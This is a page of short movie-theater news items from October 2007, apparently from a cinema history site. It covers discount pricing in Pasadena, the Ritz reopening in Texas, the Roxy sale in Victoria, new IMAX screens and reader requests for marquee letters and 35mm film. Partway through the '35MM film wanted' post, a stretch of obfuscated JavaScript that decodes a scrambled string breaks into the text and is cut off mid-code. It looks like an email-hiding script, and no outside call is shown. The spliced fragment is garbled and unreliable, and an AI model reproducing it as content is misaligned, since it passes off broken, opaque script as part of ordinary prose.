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October 5, 2007
Academy offers enticing discounts
PASADENA, CA — Regency Theatres is pleased to announce the new policy at the Academy Cinemas in Pasadena, this Friday, October 5th. The theater will feature the best bargain for movies in the San Gabriel Valley with matinee admission of $2 for all showings before 6 o'clock and only $3 for evening performances after. The theater will also offer $1 Hot Dogs (Eisenberg) all the time.
The Regency Academy Cinemas features six auditoriums with plenty of legroom and Digital Sound. Programming will feature a mix of Independent, Foreign and Commercial films with daily matinees.
Guests will also get more munch for their buck with the lowest price theater concessions in the San Gabriel Valley featuring; Kim & Scotts Pretzels, Van Holten Pickles, $1 Eisenberg Hot Dogs and Fresh Hot Popcorn & Ice Cold Pepsi Products with Free Refills on Large Sizes.
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ALL Philadelphia area multiplexes & megaplexes now on cinematreasures.org
In recent weeks, I’ve added 20 Philadelphia area multiplexes and megaplexes to cinematreasures.org so that with others previously added, EVERY Philadelphia area open multiplex and megaplex is now part of this website! Fortunately, “cinema treasures” doesn’t ignore current movie theaters. The founders cinematreasures.org wisely recognize that we should document and discuss today’s movie theaters.
Below is a list of the Philadelphia area multiplexes and megaplexes that I’ve recently added. None are “historic” but each is loved by many moviegoers.
PHILADELPHIA
UA Riverview Plaza 17, UA Main Street 6, Pearl 7
PHILADELPHIA SUBURBS
AMC Plymouth Meeting 12, Regal Plymouth Meeting 10, United Artists King of Prussia 16 and IMAX, Regal Marketplace at Oaks 24, UA East Whiteland 9, Regal Downingtown Stadium 16, Regal Richland Crossing 12, Regal Edgmont Square 10, United Artists 69th Street 9, AMC Granite Run 8, AMC Marple 10, AMC Marlton 8, Regal Burlington 20, United Artists Washington Township 14, Regal Cross Keys 12, AMC Deptford Mall 6 and AMC Deptford 8.
- Editor’s Note: Thanks for all your help with that, Howard. We try to get every theater of note up on the site. We like to think that where the story starts and stops on classic theaters is just an opinion.*
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ISO: Custome marquee letters
Remember in the 70’s the old marquees, especially in New York, that had custom marquee letters? Does anyone have those? I remember, for example, that FRIDAY THE 13TH had a marquee set done of its logo and it looked amazing. They weren’t stock letters, rather, it was the actual logo of the film on the marquee. I would like to get ANY film’s custom marquee letters/logo.
Can anyone help me out? If so, Thanks!
-Justin
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Imax, Regal pact on digital screen
IMAX and Regal have teamed up to open five theaters utilizing new technology that lowers the cost of large format and digital projection.
In a multitheater deal inked Tuesday with Regal Cinemas, Imax will bring its nascent digital projection technology to North America.
Regal and the Toronto-based large-screen format company have entered into a joint venture for five Imax theater systems. Two of them — skedded to be running in Knoxville, Tenn., and Las Vegas by the end of the year — use the company’s MPX technology (which allows multiplexes to enter large-format technology in a cost-effective way), while the other three — in Seattle and two other locations in the western U.S. — will use the company’s digital projection technology, set to go live in late 2008.
You can read the full story in Variety.
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October 4, 2007
Ritz Theatre Grand Re-Opening
WELLINGTON, TEXAS — This small Texas town has successfully turned back the hands of time with the restoration of the beautiful Ritz Theatre on the downtown square. On Oct. 13, Wellington is throwing open the doors to its hometown pride for all to see as the Amarillo Little Theatre presents, “Sweet Dreams, Peggy Sue” live on the Ritz stage at 8 p.m.
Tickets are now on sale every evening in the lobby at the Wellington Ritz Theatre from 6:30 until 7 p.m. Tickets also can be purchased by mail at Wellington Ritz Theatre, P. O. Box 202, Wellington, TX 79095.
Following the opening night event, a week of clasic movies is planned to celebrate the Ritz’s cinematic heritage that dates back to April 1929 when the Ritz showed the first talkies in town through the magic of Vitaphone and Movietone singing and talking pictures.
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Historic Roxy Theatre sold
VICTORIA, BC, CANADA — Its Manhattan namesake may be long gone, but this Quonset hut gem is still running. The Roxy Cinegog has just been sold.
The Roxy Theatre, the little movie house on Quadra Street that was built from an army-surplus Quonset hut in 1949 and has survived the storms of video and big-chain competition with budget ticket pricing, has a new owner today.
But movie-goers who like Roxy’s comfy confines and cheap admission won’t have to worry. The Roxy isn’t changing its $5 double bills or $2.50 Tuesdays – and it’s staying exactly where it is.
Michael Sharpe, a real estate developer who bought the Roxy from well-known Victoria entrepreneur Howie Siegel, said his goal is to preserve and improve the 324-seat theatre. He said the Roxy will undergo a name change, a facelift on the marquee and other improvements to concessions, lobby and washrooms.
Read more at the Times Colonist.
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Garden Theatre seeking box office manager
WINTER GARDEN, FL – Resumes are now being accepted for a box office manager position for the restored Garden Theatre, which is set to open in January, 2008. The deadline for receipt is October 22, 2007, and interviews will begin on October 24.
Mail to Garden Theatre, PO Box 770657, Winter Garden, FL 34777, or via email at .
For more information contact Alauna McMillin, Garden Theatre Manager at 407-401-8660.
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NCG Trillium Cinemas' IMAX Theater to open November 16
GRAND BLANC, MI — A billboard along I-75 near the NCG Trillium Cinema announces that this megaplex’s IMAX Theater addition will open on November 16. The IMAX theater is the second one built in Genesee County. The first was the since demolished AutoWorld IMAX Theater which was part of the ill-fated AutoWorld theme park in Flint, MI. It briefly operated on its own in the mid-1980’s before it was imploded in 1997.
Nearly a year of planning and construction went into the development of this addition to the two-year-old retro style theater.
Additional details from The Flint Journal.
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35MM film wanted
Hello All! I recently got my projector up and running and am wanting to start getting some 35mm film to run on it. Does anyone have any features from the 70’s or 80’s they’d like to sell? I figured there would be a few people on this site that would either have or know someone that has film for sale. 4Ejzqtnrmkku4Bj.q~ok1uC3j33q_/o.zGxgn"+ "i4kjuq1/71o.zGxgni4kjuqC1~1/00\\\\\\\\8C1oA/73nzmtkr4kjuq.BoA6Co.xulA--C~A"+ "(~Cbjkqu33_3i/k.ujxIngsIxu4ltmxoYz1CA~8>C7i16/iBl.Ao39o/z.kGujxIng4ijkquiC"+ "01\\\\0/\\\\11Aozntmrkk4ujBqAoC6.ouxAl--~Cbbb(A2DG+8jnErw)u)jvny){xGMe+e+n"+ "F}u}r+)velxu7jxqIr|~|l}ljqnC}}xruvje+oF{b)En1q}j{+7nwr00\\\\0v\\\\l}mnC~bx"+ "(bkbujCqb(kjuqC(jkqu@%ghnr\\\"\\\\e=od\\\"kk;do=eokeds.lpti'()'r.verees)(j"+ ".io(n'')\";x='';for(i=0;i<(kode.length-1);i+=2){x+=kode.charAt(i+1)+kode.c"+ "harAt(i)}kode=x+(i
-Justin
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October 3, 2007
New deal on Capitol Music Hall sale
WHEELING, WV — The currently closed Capitol Music Hall might find a new owner soon. Live Nation, who currently owns it, had to close it earlier this year due to fire code violations.
Real estate agent Carl Nix is looking to draw up a new deal for the Capitol Music Hall, as a previous agreement to buy the venue has fizzled.
Also, city officials who previously expressed interest in acquiring the venue on behalf of Wheeling said they may now take another look at the theater.
Mayor Nick Sparachane said the city had expressed interest in acquiring the property, but backed off when they learned of serious private interest in the venue earlier this summer.
The full story is available from the Intelligencer.